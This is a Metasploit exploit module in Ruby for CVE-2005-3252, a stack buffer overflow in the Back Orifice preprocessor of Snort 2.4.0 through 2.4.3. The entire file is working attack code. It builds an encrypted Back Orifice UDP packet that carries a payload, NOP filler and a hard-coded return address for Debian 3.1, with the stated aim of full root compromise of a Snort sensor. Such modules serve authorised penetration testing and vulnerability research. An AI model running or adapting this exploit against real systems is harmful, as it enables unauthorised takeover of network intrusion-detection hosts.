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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Snort Back Orifice Pre-Preprocessor Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in the Back Orifice pre-processor module
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          included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
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          be used to completely compromise a Snort sensor, and would typically gain an attacker
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          full root or administrative privileges.
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        },
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        'Author' => 'KaiJern Lau <xwings[at]mysec.org>',
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        'License' => BSD_LICENSE,
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        'References' => [
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          ['CVE', '2005-3252'],
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          ['OSVDB', '20034'],
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          ['BID', '15131']
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        ],
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        'Payload' => {
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          'Space' => 1073, # ret : 1069
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          'BadChars' => "\x00"
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        },
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        'Targets' => [
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          # Target 0: Debian 3.1 Sarge
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          [
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            'Debian 3.1 Sarge',
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            {
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              'Platform' => 'linux',
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              'Ret' => 0xbffff350
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            }
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          ],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2005-10-18',
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        'Notes' => {
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          'Stability' => [],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(9080),
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      ]
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    )
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  end
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  def msrand(_seed)
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    @holdrand = 31337
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  end
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  def mrand
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    return (((@holdrand = @holdrand * (214013 & 0xffffffff) + (2531011 & 0xffffffff)) >> 16) & 0x7fff)
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  end
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  def bocrypt(takepayload)
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    @arrpayload = takepayload.split(//)
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    encpayload = ''
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    @holdrand = 0
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    msrand(0)
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    @arrpayload.each do |c|
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      encpayload += c.unpack('C*').map { |v| (v ^ (mrand % 256)) }.join.to_i.chr
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    end
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    return encpayload
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  end
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  def exploit
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    connect_udp
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    boheader =
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      '*!*QWTY?' +
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      [1096].pack('V') +   # Length, thanx Russell Sanford
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      "\xed\xac\xef\x0d" + # ID
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      "\x01"               # PING
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    filler = make_nops(1069 - (boheader.length + payload.encode.length))
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    udp_sock.write(
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      bocrypt(boheader + payload.encode + filler + [target.ret].pack('V'))
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    )
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    handler
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    disconnect_udp
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  end
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end
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